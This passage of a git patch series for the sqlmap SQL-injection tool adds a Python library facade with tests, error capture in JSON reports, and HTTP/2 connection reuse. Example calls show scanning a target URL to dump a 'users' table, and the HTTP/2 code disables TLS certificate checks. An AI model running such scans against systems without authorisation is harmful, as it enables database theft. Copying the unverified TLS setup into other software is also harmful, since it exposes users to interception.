== '0' else VERSION, TYPE) From d2ead9dcdabdb1b8339281ef3ec6775ac73fd6f4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 09:58:48 +0200 Subject: [PATCH 120/165] Adding support for import sqlmap as a library (#2083) --- data/txt/sha256sums.txt | 6 +- lib/core/settings.py | 2 +- lib/utils/library.py | 190 ++++++++++++++++++++++++++++++++++++++++ sqlmap.py | 6 ++ tests/test_library.py | 111 +++++++++++++++++++++++ 5 files changed, 312 insertions(+), 3 deletions(-) create mode 100644 lib/utils/library.py create mode 100644 tests/test_library.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 593e34401..2dacf0e8a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -906d17d317ef11f67d52b30cf6bbcfd67c3af35af0942f697a13c55d9aa89816 lib/core/settings.py +1d609263088c5767b4f92ead270f84cd218d9602007b75b3fd45c1169f183265 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -266,6 +266,7 @@ bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dial 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py +b57aa20b7a6fd8afd07bae773fd03f8acb05655ee605362b220e65a0664dc38d lib/utils/library.py dd30ef67da30b666c53013ee32253cd9396ed0e5d0a44d509680742e06ebcd23 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py @@ -509,7 +510,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -d375c77f1f4270ec0967e67963fe410f14b5d2e51ed6483593dc1aaa4e8e106e sqlmap.py +80d66407453d34d672c389f6d9ab059d925528615429f2e6e9f286ce03d2c5d6 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py @@ -626,6 +627,7 @@ b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_htt d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py +7780bbd53f4ef48b01b689f3989c62822ee7f326dfc3b4110522c9af93a61482 tests/test_library.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py diff --git a/lib/core/settings.py b/lib/core/settings.py index a74f5dc22..2fec00cfd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.12" +VERSION = "1.10.7.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/library.py b/lib/utils/library.py new file mode 100644 index 000000000..c30cdeff3 --- /dev/null +++ b/lib/utils/library.py @@ -0,0 +1,190 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Library facade for programmatic (in-code) usage: 'import sqlmap; sqlmap.scan(...)'. +# +# This is the code-level sibling of the REST API (lib/utils/api.py): both drive the engine as an +# isolated subprocess for programmatic callers. The public names here are re-exported by sqlmap.py so +# that they are reachable as 'sqlmap.scan', 'sqlmap.scanFromRequest' and 'sqlmap.SqlmapError'. + +import json +import os +import sys +import tempfile + +__all__ = ["scan", "scanFromRequest", "SqlmapError"] + +# Absolute path of the engine entry point (this module lives at /lib/utils/library.py) +SQLMAP_FILE = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "sqlmap.py") + +class SqlmapError(Exception): + """ + Raised by the library facade (scan/scanFromRequest) when a scan can not produce a result report + """ + + pass + +def _terminateProcess(process): + """ + Best-effort hard teardown of a scan subprocess together with its whole process group, so a + timed-out scan never leaves orphaned sqlmap workers behind (POSIX kills the group, others fall + back to killing the process itself) + """ + + import signal + + try: + if os.name != "nt" and hasattr(os, "killpg"): + os.killpg(os.getpgid(process.pid), getattr(signal, "SIGKILL", signal.SIGTERM)) + else: + process.kill() + except (OSError, AttributeError): + try: + process.kill() + except (OSError, AttributeError): + pass + +def scan(url=None, requestFile=None, timeout=None, outputDir=None, raw=None, **options): + """ + Runs a sqlmap scan in a dedicated subprocess and returns its structured result (library usage). + + Keyword options are plain sqlmap option names - exactly the names used in a sqlmap configuration + file (data/sqlmap.conf) and by the REST API, i.e. the 'conf' names, NOT command line switches. So + scan(url, technique="BEU", getBanner=True, dumpTable=True, tbl="users", level=3) is equivalent to + the config file lines 'technique = BEU', 'getBanner = True', 'dumpTable = True', 'tbl = users', + 'level = 3'. Unknown names are rejected. The scan is driven through a generated config file passed + with '-c' (the same mechanism the REST API uses), so there is a single option namespace and no + argument escaping. 'raw' takes a list of extra raw command line switches for the rare thing not + expressible as a config option (e.g. raw=["--fresh-queries"]). + + The engine runs fully out-of-process, so a scan can never affect the calling process (no shared + global state, no HTTP-stack patching, no risk of the host being exited). The return value is the + parsed '--report-json' report - the same structure as the REST API '/scan//data' response: a + dict with keys 'success', 'data' (a list of {'type_name', 'value'} entries: TARGET, TECHNIQUES, + BANNER, DUMP_TABLE, ...), 'error' and 'meta'. + + scan() is blocking and thread-safe, so it is both thread- and asyncio-ready: run several at once + in threads, or from an event loop with 'await loop.run_in_executor(None, functools.partial(scan, + url, dumpTable=True))'. For unattended/concurrent use the run is hardened like the REST API + subprocess: batch mode (never prompts) with stdin closed, isolated file descriptors, its own + output directory (so parallel scans of the same target can not collide on session/dump files and + nothing accumulates on disk), engine output streamed to a temporary file rather than buffered in + memory, and - when 'timeout' is set - the whole subprocess group is torn down on expiry. Pass + 'outputDir' to keep the run's files. + + Example: + import sqlmap + result = sqlmap.scan("http://target/vuln.php?id=1", dumpTable=True, tbl="users") + """ + + import shutil + import subprocess + import time + + from lib.core.common import saveConfig + from lib.core.optiondict import optDict + + if not (url or requestFile): + raise SqlmapError("scan() requires either 'url' or 'requestFile'") + + if not os.path.isfile(SQLMAP_FILE): + raise SqlmapError("could not locate the sqlmap engine ('%s')" % SQLMAP_FILE) + + knownOptions = set() + for family in optDict.values(): + knownOptions.update(family) + + config = {} + if url: + config["url"] = url + if requestFile: + config["requestFile"] = requestFile + config.update(options) + + unknown = [_ for _ in config if _ not in knownOptions] + if unknown: + raise SqlmapError("unknown option(s) %s - scan() expects sqlmap option names as used in a configuration file (e.g. getBanner, dumpTable, tbl, technique, level), not command line switches" % ", ".join(repr(_) for _ in sorted(unknown))) + + handle, report = tempfile.mkstemp(prefix="sqlmap-", suffix=".json") + os.close(handle) + + # Each run gets its own output directory so concurrent scans can not collide on session/dump files + # and no scan state piles up on disk. A caller-provided 'outputDir' is respected and left in place. + ownOutput = not outputDir + if ownOutput: + outputDir = tempfile.mkdtemp(prefix="sqlmap-output-") + + # engine plumbing goes through the very same option namespace + config["batch"] = True + config["disableColoring"] = True + config["outputDir"] = outputDir + config["reportJson"] = report + + handle, configFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".conf") + os.close(handle) + saveConfig(config, configFile) + + argv = [sys.executable or "python", SQLMAP_FILE, "-c", configFile, "--ignore-stdin"] + if raw: + argv += list(raw) + + logHandle, logFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".log") + devnull = open(os.devnull, "rb") + + kwargs = {"shell": False, "close_fds": os.name != "nt", "cwd": os.path.dirname(SQLMAP_FILE) or '.', "stdin": devnull, "stdout": logHandle, "stderr": subprocess.STDOUT} + if os.name == "nt": + kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0) + elif sys.version_info >= (3, 2): + kwargs["start_new_session"] = True # own process group -> clean group teardown + else: + kwargs["preexec_fn"] = os.setsid + + process = None + try: + process = subprocess.Popen(argv, **kwargs) + + if timeout is None: + process.wait() + else: + end = time.time() + timeout + while process.poll() is None: + if time.time() > end: + _terminateProcess(process) + process.wait() + raise SqlmapError("scan timed out after %s second(s)" % timeout) + time.sleep(0.5) + + try: + with open(report, "rb") as f: + return json.loads(f.read().decode("utf-8", "replace")) + except (IOError, OSError, ValueError): + try: + with open(logFile, "rb") as f: + tail = f.read().decode("utf-8", "replace").strip() + except (IOError, OSError): + tail = "" + raise SqlmapError("scan did not produce a valid report (exit code %s)\n%s" % (getattr(process, "returncode", None), tail[-1000:])) + finally: + try: + os.close(logHandle) + except OSError: + pass + devnull.close() + for path in (report, logFile, configFile): + try: + os.remove(path) + except OSError: + pass + if ownOutput: + shutil.rmtree(outputDir, ignore_errors=True) + +def scanFromRequest(requestFile, **options): + """ + Convenience wrapper for scan(requestFile=...) - runs a scan from a saved HTTP request file ('-r') + """ + + return scan(requestFile=requestFile, **options) diff --git a/sqlmap.py b/sqlmap.py index 59c7e8510..77a67d017 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -664,3 +664,9 @@ if __name__ == "__main__": else: # cancelling postponed imports (because of CI/CD checks) __import__("lib.controller.controller") + + # exposing the programmatic library facade as 'sqlmap.scan()' / 'sqlmap.scanFromRequest()' + from lib.utils.library import scan, scanFromRequest, SqlmapError + +# public library API (also marks the re-exported names above as intentional for pyflakes) +__all__ = ["scan", "scanFromRequest", "SqlmapError"] diff --git a/tests/test_library.py b/tests/test_library.py new file mode 100644 index 000000000..254925c63 --- /dev/null +++ b/tests/test_library.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the library facade (import sqlmap; sqlmap.scan(...)). + +The facade drives the engine out-of-process through a generated configuration file (the same '-c' +mechanism the REST API uses) and reads back a '--report-json' report. These tests stub +subprocess.Popen to (a) capture the argv/config sqlmap.scan() builds from its keyword options and +(b) feed back a canned report - keeping the test fast, offline and network-free (no real scan runs). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import json +import os +import re +import subprocess +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import sqlmap + + +class _FakePopen(object): + """Stub that records argv/config and writes a canned report to the config's 'reportJson' path.""" + + captured = {} + returncode = 0 + + def __init__(self, argv, **kwargs): + _FakePopen.captured["argv"] = argv + _FakePopen.captured["kwargs"] = kwargs + with open(argv[argv.index("-c") + 1]) as f: + config = f.read() + _FakePopen.captured["config"] = config + report = re.search(r"(?im)^reportjson\s*=\s*(.+)$", config).group(1).strip() + with open(report, "w") as f: + json.dump({"success": True, "data": [{"type_name": "BANNER", "value": "3.45.1"}], "error": []}, f) + + def wait(self, timeout=None): + return 0 + + def poll(self): + return 0 + + def kill(self): + pass + + +class TestLibraryFacade(unittest.TestCase): + def setUp(self): + self._realPopen = subprocess.Popen + subprocess.Popen = _FakePopen + _FakePopen.captured = {} + + def tearDown(self): + subprocess.Popen = self._realPopen + + def test_requires_a_target(self): + subprocess.Popen = self._realPopen # never reached; guard fires first + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan) + + def test_rejects_unknown_option(self): + # a command line switch spelling (rather than a conf option name) must be rejected loudly + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1", current_user=True) + + def test_options_go_through_config(self): + result = sqlmap.scan("http://target/vuln.php?id=1", technique="BEU", dumpTable=True, + tbl="users", level=3, getBanner=True, raw=["--fresh-queries"]) + argv = _FakePopen.captured["argv"] + config = _FakePopen.captured["config"] + # driven via a generated config file, stdin ignored, engine plumbing set - no arg escaping + self.assertIn("-c", argv) + self.assertIn("--ignore-stdin", argv) + self.assertIn("--fresh-queries", argv) # raw escape hatch stays on the CLI + # options land in the config using sqlmap's own (conf) names (ConfigParser lowercases keys) + self.assertTrue(re.search(r"(?im)^url\s*=\s*http://target/vuln.php\?id=1$", config)) + self.assertTrue(re.search(r"(?im)^technique\s*=\s*BEU$", config)) + self.assertTrue(re.search(r"(?im)^tbl\s*=\s*users$", config)) + self.assertTrue(re.search(r"(?im)^level\s*=\s*3$", config)) + self.assertTrue(re.search(r"(?im)^dumptable\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^getbanner\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^batch\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^outputdir\s*=", config)) # each run isolated on disk + # file descriptors are not leaked to the engine (matches the REST API subprocess) + self.assertFalse(_FakePopen.captured["kwargs"].get("close_fds") and os.name == "nt") + # canned report is returned verbatim + self.assertTrue(result["success"]) + self.assertEqual(result["data"][0]["value"], "3.45.1") + + def test_scan_from_request_uses_request_file(self): + sqlmap.scanFromRequest("/tmp/req.txt", technique="U") + config = _FakePopen.captured["config"] + self.assertTrue(re.search(r"(?im)^requestfile\s*=\s*/tmp/req.txt$", config)) + self.assertTrue(re.search(r"(?im)^technique\s*=\s*U$", config)) + + def test_missing_report_raises(self): + class _NoReportPopen(_FakePopen): + def __init__(self, argv, **kwargs): + _FakePopen.captured["argv"] = argv # write nothing -> no report file + subprocess.Popen = _NoReportPopen + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1") + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 47b8b6ed0722957760ed76c7e3dee18098f7c0b4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 10:18:58 +0200 Subject: [PATCH 121/165] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/utils/api.py | 22 ++++++++++++++++++++++ tests/test_library.py | 22 ++++++++++++++++++++++ 4 files changed, 48 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2dacf0e8a..e1d4174ac 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1d609263088c5767b4f92ead270f84cd218d9602007b75b3fd45c1169f183265 lib/core/settings.py +2c37b4a614c1d64facc5cf9d22b423316722a41768f57d9c2913dc23d30a7b21 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -254,7 +254,7 @@ f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py -aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py +c5850075861bd5f172e191a0e48dd1d636d7c6af53bb471a44d56e7cef4e79c5 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py 51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py @@ -627,7 +627,7 @@ b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_htt d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py -7780bbd53f4ef48b01b689f3989c62822ee7f326dfc3b4110522c9af93a61482 tests/test_library.py +4952caf2cc825b5ed96a032e0a88e6919b7556e736bd8e30a558f6c4f82c014a tests/test_library.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2fec00cfd..2d7b6e045 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.13" +VERSION = "1.10.7.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 90d0c0b9e..7b5f39f43 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -253,6 +253,12 @@ def setupReportCollector(): collector = Database(":memory:") collector.connect("report") collector.init() + + # record error/critical log messages into the collector so that a CLI --report-json report carries + # the same 'error' content the REST API exposes via /scan//data - letting consumers tell a + # failed/unreachable run apart from a clean "nothing found" one (both otherwise have empty 'data') + logger.addHandler(ReportErrorRecorder(collector)) + return collector def writeReportJson(collector, filepath): @@ -449,6 +455,22 @@ class LogRecorder(logging.StreamHandler): """ conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg))) +class ReportErrorRecorder(logging.Handler): + def __init__(self, collector): + """ + Records error/critical log messages into a report collector's 'errors' table (the counterpart + of StdDbOut's stderr branch for CLI --report-json runs) + """ + logging.Handler.__init__(self) + self.setLevel(logging.ERROR) + self.collector = collector + + def emit(self, record): + try: + self.collector.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (REPORT_TASKID, str(record.msg % record.args if record.args else record.msg))) + except Exception: + pass + def setRestAPILog(): if conf.api: try: diff --git a/tests/test_library.py b/tests/test_library.py index 254925c63..73b41007d 100644 --- a/tests/test_library.py +++ b/tests/test_library.py @@ -107,5 +107,27 @@ class TestLibraryFacade(unittest.TestCase): self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1") +class TestReportErrorCapture(unittest.TestCase): + """ + The library tells failure modes apart (unreachable vs nothing-found) because a CLI --report-json + run now records error/critical log messages into the report 'error' array, like the REST API. + """ + + def test_errors_reach_the_report(self): + from lib.core.data import logger + from lib.utils.api import setupReportCollector, _assembleData, ReportErrorRecorder, REPORT_TASKID + + collector = setupReportCollector() + try: + logger.error("boom %s", "here") + result = _assembleData(collector, REPORT_TASKID) + self.assertTrue(any("boom here" in _ for _ in result["error"])) + finally: + for handler in list(logger.handlers): + if isinstance(handler, ReportErrorRecorder): + logger.removeHandler(handler) + collector.disconnect() + + if __name__ == "__main__": unittest.main(verbosity=2) From a7c9b721fd97df04ba16c5b8a196f28147e1c033 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 13:39:47 +0200 Subject: [PATCH 122/165] Adding support for HTTP2 connection reusage --- data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- lib/request/http2.py | 144 +++++++++++++++++++++++++++++++--------- 3 files changed, 117 insertions(+), 33 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e1d4174ac..228cd713c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2c37b4a614c1d64facc5cf9d22b423316722a41768f57d9c2913dc23d30a7b21 lib/core/settings.py +0b0a122d3ae6f64c2af2aab91b72ecf6573e9cc1fd250f41ba441be60d8dd464 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -215,7 +215,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py -3afb06089f2801d5a12458a313b278db62c17a8d8fd3b8c46f07670699119af3 lib/request/http2.py +7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2d7b6e045..55c7bac98 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.14" +VERSION = "1.10.7.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/http2.py b/lib/request/http2.py index 81351db4c..c885f75cf 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -14,6 +14,7 @@ import base64 import socket import ssl import struct +import threading try: from http.client import responses as _HTTP_RESPONSES @@ -431,44 +432,86 @@ def _connect_socket(host, port, proxy, timeout): pass raise -def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None): - authority = authority or host - ctx = ssl._create_unverified_context() - ctx.set_alpn_protocols(["h2"]) - sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host) - try: - if sock.selected_alpn_protocol() != "h2": - raise IOError("server did not negotiate h2 (ALPN=%r)" % sock.selected_alpn_protocol()) - sock.settimeout(timeout) +class _UnprocessedStream(IOError): + """Raised when the server made it clear our stream was NOT processed (GOAWAY with last-stream-id below + ours), so the request is always safe to retry on a fresh connection.""" - # connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window - sock.sendall(CONNECTION_PREFACE) - sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) - sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535))) +class _H2Connection(object): + """A single HTTP/2 connection reused for sequential (one-stream-at-a-time) requests within a thread. + + Multiplexing is intentionally NOT used - one stream is fully consumed before the next is opened - which + preserves request<->response isolation (clean time-based latency, no desync), exactly like the + thread-local HTTP/1.1 keep-alive pool. Reuse amortizes the TCP+TLS+preface cost across all of a thread's + requests to a host. Correctness note: only the HPACK Decoder (server->client dynamic table) is stateful, + so it is kept per-connection and fed responses in order; the Encoder is literal-without-indexing + (stateless), hence a fresh one per request is safe on a reused socket.""" + + def __init__(self, host, port, proxy, timeout): + self.host, self.port, self.proxy = host, port, proxy + self.dec = Decoder() # persistent server->client HPACK table + self.next_sid = 1 # odd, strictly increasing per RFC 7540 + self.usable = True + ctx = ssl._create_unverified_context() + ctx.set_alpn_protocols(["h2"]) + self.sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host) + try: + if self.sock.selected_alpn_protocol() != "h2": + raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol()) + self.sock.settimeout(timeout) + # connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window + self.sock.sendall(CONNECTION_PREFACE) + self.sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535))) + except Exception: + self.close() + raise + + def close(self): + self.usable = False + try: + self.sock.close() + except Exception: + pass + + def __del__(self): + self.close() + + def exchange(self, method, path, authority, headers, body, timeout): + if not self.usable: + raise IOError("HTTP/2 connection no longer usable") + + sid = self.next_sid + self.next_sid += 2 + if self.next_sid >= BIG_WINDOW: # stream-id space nearly exhausted -> retire after this + self.usable = False + self.sock.settimeout(timeout) req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))] for k, v in (headers or {}).items(): req.append((_tob(k).lower(), _tob(v))) hblock = Encoder().encode(req) - sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), 1, hblock)) + self.sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, hblock)) if body: - sock.sendall(encode_frame(DATA, FLAG_END_STREAM, 1, _tob(body))) + self.sock.sendall(encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body))) - dec = Decoder() header_block, resp_headers, resp_body, done = b"", None, bytearray(), False while not done: - ftype, flags, sid, payload = _read_frame(sock) + ftype, flags, fsid, payload = _read_frame(self.sock) if ftype == SETTINGS: if not (flags & FLAG_ACK): - sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) elif ftype == PING: if not (flags & FLAG_ACK): - sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) elif ftype == GOAWAY: - done = True - elif ftype == RST_STREAM and sid == 1: + self.usable = False # server won't accept new streams -> retire connection + last_sid = (struct.unpack("!I", payload[4:8])[0] & 0x7fffffff) if len(payload) >= 8 else 0 + if sid > last_sid: # our stream was not processed -> safe to retry fresh + raise _UnprocessedStream("GOAWAY (last 